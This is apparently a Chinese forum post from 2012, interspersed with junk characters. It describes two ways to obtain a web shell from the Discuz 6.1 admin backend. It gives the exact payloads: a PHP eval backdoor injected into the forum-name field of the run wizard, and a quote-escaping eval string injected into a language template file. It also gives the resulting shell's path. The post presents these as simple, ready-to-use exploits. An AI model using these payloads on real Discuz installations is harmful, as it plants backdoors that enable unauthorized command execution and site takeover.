discuz6.1两种方法后台拿shell
6 C7 c$ O; H; K N6 W; c1 o好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下* t* v7 d1 l4 u, o+ x+ c& z1 x O
1:
: ~! k6 d, t4 l- B+ ~* chttp://127.0.0.1/discuz/admincp. ... zard&frames=yes
2 P/ B) F! ~7 g4 tadmincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
+ L3 {9 g! d7 P7 f8 Y<?php eval($_POST[cmd]);?>0 ]) d" [. W) J+ v. V+ o: \7 o% B
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
" p' [- w. G& J6 T$ F& i+ G# L2 i& z! Z! @$ ]
w" o) N7 Y% F
2:后台模板管理--默认模板套系--详情
! o8 ^9 h' ~' n8 l; ~ {& q$ g( wtemplates/default/actions.lang.php% c) L2 ]: s$ U6 z* o
jhackj\\');eval($_POST[cmd])?>;//, d' z; `8 l1 ~5 Z' f2 _
4 t" r7 N. b' E2 G6 x利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对